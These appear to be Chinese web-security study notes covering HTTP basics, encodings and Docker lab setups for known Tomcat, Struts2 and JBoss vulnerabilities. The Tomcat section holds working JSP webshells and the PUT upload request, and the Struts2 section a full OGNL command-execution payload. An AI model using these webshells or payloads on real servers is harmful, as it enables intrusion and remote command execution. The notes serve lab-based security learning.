Safe: 03-信息安全基础
- TAGS: Safe
web应用程序安全与风险和web应用程序技术
主要内容:
- web 应用程序的发展历程、应用程序安全
- web 渗透测试学习框架
- HTTP 请求与响应
- HTTP 用法、URL、cookie及状态码
- web 应用程序编码
web应用程序安全与风险
Web攻击基础知识
什么是Web应用攻击
Web攻击的本质,就是通过HTTP协议篡改应用程序
可利用点:请求方法、请求头、数据体
利用过程:
- 认证
- 强口令
- 密码长度至少8位
- 包含大写字母、小写字母、数字、特殊符号4类中的至少3类
- 密码和用户名无相关性
- 密码长度至少8位
- 弱口令
- 键盘排序码:1QAZwsx@ 从定义上说是个强口令,但是算弱口令
- 键盘排序码:1QAZwsx@ 从定义上说是个强口令,但是算弱口令
- 账号枚举:固定一个账号破密码。或密码123456暴账号
- 密码爆破
- 认证绕过
- 强口令
- 会话
- 授权
- 未授权访问:不登录网站也能看到登录账号看到的内容
- 越权:通过一些方法越权
- 提权:提普通用户提高权限
- 权限绕过:绕过权限限制
- 未授权访问:不登录网站也能看到登录账号看到的内容
利用途径:Web、客户端、html、其他协议
Web攻击的特点
广泛性:网站面向互联网就有可能受攻击
匿名性:攻击者加了多层代理,查攻击者很难
利用难度低(对比主机漏洞、木马病毒)
常见的Web安全薄弱点
操作系统&中间件:针对http底层服务器软件的攻击,如IIS、Apache、nginx、tomcat
Web应用:授权、认证、输入验证、程序逻辑等
数据库:SQL注入
Web客户端:客户端软件漏洞、跨站脚本攻击、钓鱼等
传输:中间人攻击、窃听等
可用性:DDOS(分布式拒绝服务攻击)、CC攻击(DOS的一种,模拟多个用户真实访问)
程序逻辑:
假如网站有发送短信的功能获取验证码来登录。攻击者可能利用短信发送次数未限制来使用短信轰炸。
SQL注入:
本身是由于程序代码层面所产生的问题,不应该数据库来负责。
中间人攻击:
相当于间接的入侵攻击,攻击者利用各种方法把自己控制的计算机放在2台通信的计算机之间,入侵者控制的这台计算机叫做中间人。
DDOS、CC攻击防御方法:
增加带宽、CDN(内容分发网络)、流量清洗(部署坑D设备)
Web渗透测试学习框架(涵盖哪些方面?遵循什么流程?)
信息收集
挖淘宝的漏洞:https://www.taobao.com
登录网站,挖漏洞;
- 端口
- 子站 abc.taobao.com; a.b.taobao.com
- 新业务
- 手机业务
- 微信小程序
- 友情链接:迂回攻击,是否有功能上交互
- 旁站(同一台服务器上的多个站点互为旁站关系)
漏洞攻防
基础常见的漏洞:
SQL注入
XSS
CSRF
SSRF
命令注入
目录穿越
暴力破解
文件读取 ../../../etc/passwd
文件上传 .php
文件包含 include(filename)
XXE 代码解析xml文件时解析外部实体引发漏洞
逻辑漏洞 / 业务漏洞
中间件 IIS、Tomcat、Nginx、Weblogic…
下面是对常见漏洞的简要介绍:
- SQL注入:通过构造恶意的SQL语句,使应用程序从数据库中获取未授权的数据。
- XSS(跨站脚本攻击):向Web应用程序注入客户端代码,以便攻击者可以获取用户的敏感信息或执行恶意操作。
- CSRF(跨站请求伪造):攻击者利用用户在同一浏览器中具有激活身份验证会话的身份验证凭据来伪造请求。
- SSRF(服务器端请求伪造):利用Web应用程序特权向内部网络发送请求,通常是通过欺骗Web应用程序,使其认为攻击者所发起的请求来自受信任的内部用户。
- 命令注入:通过在应用程序中注入系统命令,攻击者可以在主机上执行未经授权的操作。
- 目录穿越:攻击者试图访问应用程序之外的文件,他们可以使用诸如“../”等字符序列来跳过目录层次结构。
- 暴力破解:攻击者尝试使用大量的用户名和密码组合来破解弱密码,以便访问受保护的资源。
- 文件读取: 攻击者尝试从Web服务器上读取敏感文件,如密码文件或配置文件。
- 文件上传:攻击者可以上传包含恶意代码的文件,以获取对服务器的访问权限。
- 文件包含:攻击者尝试通过应用程序加载的文件(如模板或配置文件)注入自己的代码,并将其解释为Web服务器进程的代码。
- XXE(XML外部实体注入):攻击者利用XML解析器漏洞注入恶意的XML文件。
- 逻辑漏洞:这些漏洞不涉及任何特定的技术,而是涉及到应用程序逻辑上的错误,例如未经授权的访问,交易注销错误等。
- 中间件:这种漏洞通常是由于未修复或升级中间件组件所引起的,这些组件可能存在已知漏洞,如Apache、Nginx、Tomcat等。
以上是几种常见的漏洞及其简要介绍,应用程序开发人员和安全专业人员需要了解这些漏洞,并采取相应的措施来防止和修复它们。
编程语言
PHP
Python
Java
JavaScript
代码审计
白盒测试。
应急响应
如log4j漏洞。
Web应用程序技术
HTTP协议
官方文档:https://www.w3.org/Protocols/Overview.html
HTTP (HyperText Transfer Protocol)即超文本传输协议,是一种详细规定了浏览器和万维网服务器之间互相通信的规则,它是万维网交换信息的基础,它允许将HTML (超文本标记语言)文档从Web服务器传送到Web浏览器。
如何发起一个HTTP请求?这个问题似乎很简单,当在浏览器地址栏中输入一个URL,按下回车键后就发起了这个HTTP请求,很快就会看到这个请求的返回结果。
URL (统一的资源定位符)也被称为网页地址,是互联网标准的地址。URL的标准格式如下:
协议://服务器ip [:端口]/路径/[?查询]
例如,http://www.hacker.com/post/test.html 就是一个标准的URL。
借助浏览器可以快速发起一次HTTP请求,如果不借助浏览器应该怎样发起HTTP请求呢?
其实可以借助很多工具来发起HTTP请求,例如,在Linux系统中的curl命令。严格地说,浏览器也属于HTTP工具的一种。
在Windows中,也可以用 curl.exe 工具来发起请求,通过curl + URL命令就可以简单地发起一个HTTP请求,非常方便。
Get 请求
curl https://www.baidu.com
Post 请求
curl -d "user=admin&password=admin" https://www.baidu.com
HTTP协议详解
HTTP是一种无状态的协议。无状态是指Web浏览器与Web服务器之间不需要建立持久的连接,这意味着当一个客户端向服务器端发出请求(Request),然后Web服务器返回响应(Response),连接就被关闭了,在服务器端不保留连接的有关信息。
也就是说,HTTP请求只能由客户端发起,而服务器不能主动向客户端发送数据。
HTTP遵循请求(Request) /响应(Response)模型,Web浏览器向Web服务器发送请求时,Web服务器处理请求并返回适当的响应。
下面通过实例来观察HTTP的请求与响应。
HTTP请求
HTTP请求包括三部分,分别是请求行(请求方法)、请求头(消息报头)和请求正文。下面是HTTP请求的一个例子。
POST /login.php HTTP/1.1 //请求行 HOST: www.baidu.com //请求头 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0 //空白行,代表请求头结束 Username=admin&password=admin //请求正文
HTTP请求的第一行即为请求行,请求行由三部分组成,该行的第一部分说明了该请求方法是POST请求;该行的第二部分是一个斜杠(/login.php),用来说明请求的是该域名根目录下的 login.php文件;第三部分即为http协议的版本。
第二行至空白行的部分称为HTTP中的请求头(也被称为消息头)。
其中,HOST代表请求的主机地址,User-Agent代表浏览器的标识。请求头由 客户端自行设定 。关于消息头的内容,在后面章节中将会详细介绍。
HTTP请求的最后一行为请求正文,请求正文是可选的,它最常出现在POST请求方法中,而GET请求的内容在请求行的路径中。
HTTP响应
与HTTP请求对应的是HTTP响应,HTTP响应也由三部分内容组成,分别是响应行、响应头(消息报头)和响应正文(消息主题)。下面是一个经典的HTTP响应。
HTTP/1.1 200 0K //响应行 Date: Thu, 28 Feb 2013 07:36:47 GMT //响应头 Server: BWS/1.0 //服务器信息 Content-Length: 4199 Content-Type: text/html;charset=utf-8 //提问:告诉谁的?浏览器 Cache-Control: private Expires: Thu, 28 Feb 2021 07:36:47 GMT Content-Encoding: gzip Set-Cookie: H_PS_PSSID=2022_1438_1944_1788; path=/; domain=.baidu.com Connection: Keep-Alive //空白行,代表响应头结束 <html> //响应正文或者叫消息主题 <headxtitle> Index.html </title></head>
HTTP响应的第一行为响应行,其中有状态码(200)以及消息 “OK”。
第二行至末尾的空白行是响应头,由服务器向客户端发送。
消息报头之后是响应正文,是服务器向客户端发送的HTML数据,也有可能是json数据。
HTTP请求方法
HTTP请求的方法非常多,其中GET、POST最常见。下面是HTTP请求方法的详细介绍。
GET
GET方法用于获取请求页面的指定信息(以实体的格式)。
如果请求资源为动态脚本(非HTML),那么返回文本是Web容器解析后的HTML源代码,而不是源文件。例如请求index.jsp,返回的不是index.jsp的源文件,而是经过解析后的HTML代码。
如下HTTP请求:
GET /index.php?id=l HTTP/1.1
HOST: www.baidu.com
使用GET请求index.php,并且id参数为1,在服务器端脚本语言中可以选择性地接收这些参数,比如
id=1&name=admin
—般都是由开发者内定好的参数才会接收,比如开发者只接收id参数,若加了其他参数项,如:
Index.php?id=1&username=admin //多个参数项以分隔
服务器端脚本不会理会额外加入的内容,依然只会接收id参数,并且去查询数据,最终向服务器端发送解析过的HTML数据,不会因为额外的干扰而乱套。
HEAD
HEAD方法除了服务器不能在响应里返回消息主体外,其他都与GET方法相同。此方法经常被用来测试超文本链接的有效性、可访问性和最近的改变。
攻击者编写扫描工具时,就常用此方法,因为只测试资源是否存在,而不用返回消息主体,所以速度一定是最快的。
一个经典的HTTP HEAD请求如下:
HEAD /index.php HTTP/1.1 HOST: www.xxser.com
POST
POST方法也与GET方法相似,但最大的区别在于,GET方法没有请求内容,而POST方法是有请求内容的。
POST请求最多用于向服务器发送大量的数据。GET虽然也能发送数据,但是有大小(长度)的限制,并且GET请求会将发送的数据显示在浏览器端,而POST则不会,所以安全性相对来说高一点。
例如,上传文件、提交留言等,只要是向服务器传输大量的数据,通常都会使用POST请求。一个经典的HTTP POST请求如下:
POST /login.php HTTP/1.1 Host: www.xxser.com Content-Length: 26 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Origin: http://home.2cto.com User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=O.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 user=admin&pw=123456789
用POST方法向服务器请求login.php,并且传递参数
user=admins&pw=123456789
PUT
PUT方法用于请求服务器把请求中的实体存储在请求资源下,如果请求资源已经在服务器中存在,那么将会用此请求中的数据替换原先的数据,作为指定资源的最新修改版。
如果请求指定的资源不存在,将会创建这个资源,且数据部分位于请求正文中,具体如下:
PUT /input.txt HOST: www.xxser.com Content-Length: 6 123456
这段HTTP PUT请求将会在主机根目录下创建input.txt,内容为123456。
通常情况下,服务器都会关闭PUT方法,因为它会为服务器建立文件,属于危险的方法之一。
DELETE
DELETE方法用于请求源服务器删除请求的指定资源。
服务器一般都会关闭此方法,因为客户端可以进行删除文件操作,属于危险方法之一。
TRACE
TRACE方法被用于激发一个远程的应用层的请求消息回路,也就是说,回显服务器收到的请求。
TRACE方法允许客户端去了解数据被请求链的另一端接收的情况,并且利用那些数据信息去测试或诊断。但此方法非常少见。
帮助安全人员有助于了解网站架构。
OPTIONS
OPTIONS方法是用于请求获得由URI标识的资源在请求/响应的通信过程中可以使用的功能选项。
通过这个方法,客户端可以在采取具体资源请求之前,决定对该资源釆取何种必要措施,或者了解服务器的性能。
HTTP OPTIONS请求/响应如下:
OPTIONS / HTTP/1.1 HOST: www.xxser.com HTTP/1.1 200 OK Allow: OPTIONS, TRACE, GET, HEAD, POST Server: Microsoft-IIS/7.5 Public: OPTIONS, TRACE, GET, HEAD, POST X-Powered-By: ASP.NET Date: Sun, 14 Jul 2013 15:50:58 GMT Content-Length: 0
以上为 HTTP 标准方法。
HTTP状态码
当客户端发出HTTP请求,服务器端接收后,会向客户端发送响应信息,其中,HTTP响应中的第一行中,最重要的一点就是HTTP的状态码,内容如下:
HTTP/1.1 200 0K
此状态码为200。
在HTTP协议中表示请求结果的状态码由三位数字组成,第一位数字定义了响应的类别,且只有以下5种:
- 1xx:信息提示,表示请求已被成功接收,继续处理。其范围为100〜101。
- 2xx:成功,服务器成功地处理了请求。其范围为200〜206。
- 3xx:重定向,重定向状态码用于告诉浏览器客户端,它们访问的资源已被移动,并告诉客户端新的资源地址位置。这时,浏览器将重新对新资源发起请求。其范围为300〜305。
- 4xx:客户端错误状态码,有时客户端会发送一些服务器无法处理的东西,比如格式错误的请求,或者最常见的是,请求一个不存在的URL。其范围为400〜415。
- 5xx:有时候客户端发送了一条有效请求,但Web服务器自身却出错了,可能是Web服务器运行出错了,或者网站都挂了。5XX就是用来描述服务器内部错误的,其范围为500〜505。
http状态码有哪些:
100 (继续) 请求者应当继续提出请求。服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。
101 (切换协议) 请求者已要求服务器切换协议,服务器已确认并准备切换。
200 (成功)客户端请求成功,是最常见的状态。
201 (已创建) 请求成功并且服务器创建了新的资源。
202 (已接受) 服务器已接受请求,但尚未处理。
203 (非授权信息) 服务器已成功处理了请求,但返回的信息可能来自另一来源。
204 (无内容) 服务器成功处理了请求,但没有返回任何内容。
205 (重置内容) 服务器成功处理了请求,但没有返回任何内容。
206 (部分内容) 服务器成功处理了部分 GET 请求。
300 (多种选择) 针对请求,服务器可执行多种操作。服务器可根据请求者 (user agent) 选择一项操作,或提供操作列表供请求者选择。
301 (永久移动) 请求的网页已永久移动到新位置。服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
302 (临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
303 (查看其他位置) 请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码。
304 (未修改) 自从上次请求后,请求的网页未修改过。服务器返回此响应时,不会返回网页内容。
305 (使用代理) 请求者只能使用代理访问请求的网页。如果服务器返回此响应,还表示请求者应使用代理。
307 (临时重定向) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
400 (错误请求) 服务器不理解请求的语法。
401 (未授权) 请求要求身份验证。 对于需要登录的网页,服务器可能返回此响应。
403 (禁止) 服务器拒绝请求。
404 (未找到) 服务器找不到请求的网页。
405 (方法禁用) 禁用请求中指定的方法。
406 (不接受) 无法使用请求的内容特性响应请求的网页。
407 (需要代理授权) 此状态代码与 401(未授权)类似,但指定请求者应当授权使用代理。
408 (请求超时) 服务器等候请求时发生超时。
409 (冲突) 服务器在完成请求时发生冲突。服务器必须在响应中包含有关冲突的信息。
410 (已删除) 如果请求的资源已永久删除,服务器就会返回此响应。
411 (需要有效长度) 服务器不接受不含有效内容长度标头字段的请求。
412 (未满足前提条件) 服务器未满足请求者在请求中设置的其中一个前提条件。
413 (请求实体过大) 服务器无法处理请求,因为请求实体过大,超出服务器的处理能力。
414 (请求的 URI 过长) 请求的 URI(通常为网址)过长,服务器无法处理。
415 (不支持的媒体类型) 请求的格式不受请求页面的支持。
500 (服务器内部错误) 服务器遇到错误,无法完成请求。
501 (尚未实施) 服务器不具备完成请求的功能。例如,服务器无法识别请求方法时可能会返回此代码。
502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。通常,这只是暂时状态。
504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。
505 (HTTP 版本不受支持) 服务器不支持请求中所用的 HTTP 协议版本。
常见的状态码描述如下:
100:客户端继续发送请求,这是临时响应。 200:客户端请求成功,是最常见的状态。 302:重定向。 400:客户端请求有语法错误,不能被服务器所理解。 401: 请求未经授权。 403:服务器收到请求,但是拒绝提供服务。 404:请求资源不存在,是最常见的状态。 500:服务器内部错误,是最常见的状态。 503:服务器当前不能处理客户端的请求,一段时间后可能恢复正常。
HTTP消息
HTTP消息又称为HTTP头(HTTP header),有4种:分别是请求头、响应头、普通头和实体头。从名称上看,我们就可以知道它们所处的位置。
请求头
请求头只出现在HTTP请求中,请求报头允许客户端向服务器端传递请求的附加信息和客户端自身的信息。常用的HTTP请求头如下。
- Host
Host请求报头域主要用于指定被请求资源的Internet主机和端口号,例如:
HOST: www.baidu.com:8010
- User-Agent
User-Agent请求报头域允许客户端将它的操作系统、浏览器和其他属性告诉服务器。登录一些网站时,很多时候都可以见到显示我们的浏览器、系统信息,这些都是此头的作用,如:
User-Agent: My privacy
- Referer
Referer包含一个URL,代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面。
如:
Referer: www.baidu.com/login.php
代表用户从login.php来到当前页面。
- Cookie
Cookie是非常重要的请求头,它是一段文本,常用来表示请求者身份等。
- Range
Range可以请求实体的部分内容,多线程下载一定会用到此请求头。
例如:
表示头500字节:bytes=0~499 表示第二个500字节:bytes=500〜999 表示最后500字节:bytes=-500 表示500字节以后的范围:bytes=500-
- X-forward-for
X-forward-for即XXF头,它代表请求端的IP,可以有多个,中间以逗号隔开。
- Accept
Accept请求报头域用于指定客户端接收哪些MIME类型的信息,如
Accept: text/html
表明客户端希望接收HTML文本。
- Accept-Charset
Accept-Charset请求报头域用于指定客户端接收的字符集。例如:
Accept-Charset:utf-8
如果在请求消息中没有设置这个域,默认是任何字符集都可以接收。
响应头
响应头是服务器根据请求向客户端返回的HTTP头。
常见的HTTP响应头如下。
- Server
服务器所使用的Web服务器名称,如
Server:Apache/1.3.6(Unix)
攻击者通过查看此头,可以探测Web服务器名称。所以,建议在服务器端进行修改此头的信息。
- Set-Cookie
向客户端设置Cookie,通过查看此头,可以清楚地看到服务端向客户端发送的 Cookie 信息。
- Last-Modified
服务器通过这个头告诉浏览器,资源的最后修改时间。
- Location
服务器通过这个头告诉浏览器去访问哪个页面,浏览器接收到这个请求之后,通常会立刻访问Location头所指向的页面。
这个头通常配合302状态码使用。
- Refresh
服务器通过Refresh头告诉浏览器定时刷新浏览器。
普通头
在普通报头中,有少数报头域用于所有的请求和响应消息,但并不用于被传输的实体,只用于传输的消息。
例如:
Date,表示消息产生的日期和时间。
Connection,允许发送指定连接的选项。指定连接是连续的,或者指定“close”选项,通知服务器在响应完成后关闭连接。
Cache-Control,用于指定缓存指令,缓存指令是单向的,且是独立的。
注意:普通报头作为了解即可。
实体头
请求和响应消息都可以传送一个实体头。实体头定义了关于实体正文和请求所标识的资源的元信息。元信息也就是实体内容的属性,包括实体信息类型、长度、压缩方法、最后一次修改时间等。
常见的实体头如下。
- Content-Type(image、text)
Content-Type实体头用于向接收方指示实体的介质类型。
- Content-Encoding
Content-Encoding头被用作媒体类型的修饰符,它的值指示了已经被应用到实体正文的附加内容的编码,因而要获得Content-Type报头域中所引用的媒体类型,必须釆用相应的解码机制。
- Content-Length
Content-Length实体报头用于指明实体正文的长度,以字节方式存储的十进制数字来表示。
- Last-Modified
Last-Modified实体报头用于指示资源的最后修改日期和时间。
HTTP协议与HTTPS协议的区别
HTTPS 协议的全称为 Hypertext Transfer Protocol over Secure Socket Layer,它是以安全为目标的HTTP通道,其实就是HTTP的“升级”版本,比单纯的HTTP协议更加安全。
HTTPS的安全基础是SSL,即在HTTP下加入SSL层。也就是HTTPS通过安全传输机制进行传送数据,这种机制可保护网络传送的所有数据的隐秘性与完整性,可以降低非侵入性拦截攻击的可能性。
既然是在HTTP的基础上进行构建的HTTPS协议,所以HTTP请求与响应仍旧是以相同的方式进行工作的。
HTTP协议与HTTPS协议的主要区别如下:
- HTTP是超文本传输协议,信息是明文传输,HTTPS则是具有安全性的SSL加密传输协议。
- HTTP与HTTPS协议使用的是完全不同的连接方式,HTTP釆用80端口连接,而HTTPS则是443端口。
- HTTPS协议需要到ca申请证书,一般免费证书很少,需要交费,也有些Web容器提供, 如TOMCAT。而HTTP协议却不需要。
- HTTP连接相对简单,是无状态的,而HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,相对来说,它要比HTTP协议更安全。
Web应用程序编码
URL编码
Urlencode又称百分号编码,是一种很常用的编码方式。
URL只允许ASCII字符集中的可打印字符(0x20-0x7e),由于其在URL方案或HTTP协议中的特殊含义,这个范围内的一些字符也不可以用于URL中。
URL编码方案主要用于将扩展ASCII字符集中有问题的字符进行编码,使其通过HTTP可以安全传输。任何URL编码的字符都以%为前缀,其后是这个字符的两位十六进制代码。
常见的一些URL编码字符:
%3d -> = %25 -> % %20 / + -> 空格 %0a -> 新行 %00 -> 空字节
小结:
Urlencode的编码规则:
- 取出字符的ASCII码,转成16进制,然后前面加上百分号即可。
- 如果是多字节的字符,则取出每一字节,按照同样的规则进行转换即可。
- 例如问号?的ASCII码为63,转换为16进制为3F,所以%3F即为?进行Urlencode编码的结果。
ASCII码对照表: https://toolhelper.cn/Encoding/ASCII
范例:查看 ascii 表
dnf -y install man-pages man ascii vim 中按ga
Unicode编码
Unicode是一种为支持全世界所使用的各种编写系统而设计的字符编码标准,它采用各种编码方案,其中一些可用于表示web应用程序中的不常见字符。
16位的Unicode编码以%为前缀,其后用16进制表示每个字节。
%u2215 -> /
HTML编码
HTML编码用于处理问题字符并将其安全并入HTML文档。HTML编码定义了大量html实体来表示特殊的字面量字符。
"; -> " ' -> ' & -> & < -> < > -> >
html实体编码表: https://www.w3school.com.cn/html/html_entities.asp
此外,任何字符都可以使用它的十进制ASCII码进行HTML编码:
" -> " ' -> '
或者使用十六进制的ASCII码,以x为前缀:
" -> " ' -> '
Base64编码
Base64编码用一个可打印的ASCII字符就可以安全转换任何二进制数据。常用于对电子邮件进行编码,或对基本HTTP验证机制中的用户证书进行编码。
可打印ASCII字符有64个,可以表示6bit数据,因此Base64编码将输入分为每6位一组,每6位用一个字符表示,如果不足6位,用一个或两个等号填充。
16进制编码
许多应用程序在传送二级制数据时直接使用十六进制编码,用ASCII字符表示16进制数据块。
daf -> 646166
攻防环境搭建
主要内容:
- Windows 及 kali 安装配置
- Tomcat 攻防环境搭建
- Struts2 攻防环境搭建
- Jboss 攻防环境搭建
Kali安装配置
使用Docker进行安装
1.带web界面的kali系统
docker pull kasmweb/core-kali-rolling:1.9.0 启动: sudo docker run --rm -it --shm-size=512m -p 6901:6901 -e VNC_PW=passwordkasmweb/<image>:<tag> 示例: docker run -d --shm-size=4096m --user root -p 6901:6901 -e VNC_PW=password 3d6ca0574a11
访问界面
https://127.0.0.1:6901 User : kasm_user Password: password
2.官方kali镜像
docker pull kalilinux/kali-rolling docker run -it --name MyKali imageId /bin/bash docker exec -it ContainerId /bin/bash
进入Docker kali系统后, 默认情况下没有工具,需要进行手动下载:
apt update && apt -y install <package> apt update && apt -y install kali-linux-headless #AWS工具集 apt update && apt -y install kali-linux-large #(Kali所有工具集全部进行包含安装)
安全概念名词术语
- poc: 漏洞证明代码
- exp:利用系统漏洞进行攻击的动作
- payload:有效载荷,攻击成功后,真正在目标系统执行的代码或者指令
- shellcode:属于payload的一种,可以建立正向、反向shell
- RCE:远程命令或代码执行
PHP 攻防环境搭建
DVWA
docker pull sagikazarmark/dvwa docker run -d -p 8080:80 -p 33060:3306 sagikazarmark/dvwa
重新登录页面
- User: admin
- Password: password
数据库用户名/密码
User: root Password: p@ssw0rd Database: dvwa
Tomcat
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)
漏洞编号说明:
CVE:漏洞组织 2017:2017年的漏洞 12615:漏洞编号
Tomcat版本:7.0.0-7.0.79、8.5.19
docker search CVE-2017-12615 docker pull docker.io/cved/cve-2017-12615 docker run --rm -d --name tomcat -p 8080:8080 docker.io/cved/cve-2017-12615
漏洞复现
shell.jsp
<% if("xxx".equals(request.getParameter("pwd"))){ java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
直接发送以下数据包即可在Web根目录写入shell:
PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell
如果使用了burpsuit,开启抓包后在Proxy中右击选Send to Repeater,然后发起PUT方法请求。
黑名单:asp, jsp, php
白名单:jpg, png, gif
- 在jsp的添加/,上传成功
- 文件保存在服务器中,系统自动去除/后缀,得以以jsp的后缀名保存在服务器中。
利用shell执行命令
http://127.0.0.1:8080/1.jsp?pwd=xxx&i=id
漏洞原理
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:(使用PUT方式)
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
tomcat本身不允许上传 jsp 文件,1.jsp/ 加了 / 就不是 jsp 文件,系统保存文件 1.jsp/ -> 1.jsp
tomcat对jsp是做了一定处理的。前面的流程中 1.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。
在firfox浏览器安装 hackbar 插件方便发送http请求(PUT GET POST)、编解码
连接蚁剑 (Webshell图形化利用工具)
https://github.com/AntSwordProject/antSword
https://www.yuque.com/antswordproject/antsword/srruro
yijian_shell.jsp
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
Struts
S2-048 远程代码执行漏洞(CVE-2017-9791)
影响版本: 2.0.0 - 2.3.32
漏洞原理:Apache Struts 1插件的Apache Struts 2.3.x 版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,造成了Struts2中的Struts1插件启用的情况下,远程攻击者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限。漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。
docker search s2-048 docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638 docker run --rm --name s2-048 -d -p 8082:8080 docker.io/piesecurity/apache-struts2-cve-2017-5638
这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8081/showcase/ 即可查看到struts2的测试页面。
访问Integration/Struts 1 Integration:
触发OGNL表达式的位置是 Gangster Name 这个表单。
输入 `${233*233}` 即可查看执行结果(剩下两个表单随意填写):
poc:
%{(#dm[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#q[email protected]@toString(@java.lang.Runtime@getRuntime().exec ('id').getInputStream())).(#q)} #id 返回当前用户的信息
本次漏洞触发点在:
org.apache.struts2.s1.Struts1Action.execute() 方法中
JBoss
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
docker search CVE-2017-12149 docker pull docker.io/hackingpub/cve-2017-12149 docker run --rm --name cve-2017-12149 -d -p 8083:8080 docker.io/hackingpub/cve-2017-12149
首次执行时会有1~3分钟时间初始化,初始化完成后访问 http://your-ip:8080/ 即可看到JBoss默认页面。
0x01 漏洞简介
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。
0x02 漏洞版本
漏洞影响5.x和6.x版本的JBoss。
0x03 漏洞原理
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。
序列化工具
下载: https://github.com/yunxu1/jboss-_CVE-2017-12149
Java序列化:把Java对象转换为字节序列的过程。 Java反序列化:指把字节序列恢复为Java对象的过程。 Java序列化与反序列化作用:便于保存数据,或者进行数据传输。
漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在
jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
public void doFilter(ServletRequest request, ServletResponse response,FilterChain chain) throws IOException, ServletException { HttpServletRequest httpRequest = (HttpServletRequest)request; Principal user = httpRequest.getUserPrincipal(); if ((user == null) && (this.readOnlyContext != null)) { ServletInputStream sis = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(sis); MarshalledInvocation mi = null; try { mi = (MarshalledInvocation)ois.readObject(); //漏洞点 } catch (ClassNotFoundException e) { throw new ServletException("Failed to read MarshalledInvocation", e); } request.setAttribute("MarshalledInvocation", mi); mi.setMethodMap(this.namingMethodMap); Method m = mi.getMethod(); if (m != null) { validateAccess(m, mi); } } chain.doFilter(request, response); }
渗透测试之信息收集
主要内容:
- 主域名与二级域名探测
- Google Hack 信息探测
- 子域名探测、敏感信息收集
- Web 系统指纹识别
- fofa 及 nmap 使用
- 前期信息资产梳理
信息广度收集:
Whois信息
站长之家:http://whois.chinaz.com
1.域名对应的邮箱;
2.该邮箱注册的所有域名;
3.企业CEO名称注册的域名;
SRC:安全应急响应中心(漏洞、情报) https://security.alibaba.com
whois sina.com
一级域名
企查查:https://www.qichacha.com
天眼查:https://www.tianyancha.com
企业的工程师不一定比白帽子更了解自身企业的状况。
子域名
一级域名:e.com
二级域名:abc.e.com
三级域名:abc.abc.e.com
有几个点就是几级域名
- OneForAll:https://github.com/shmilylty/OneForAll
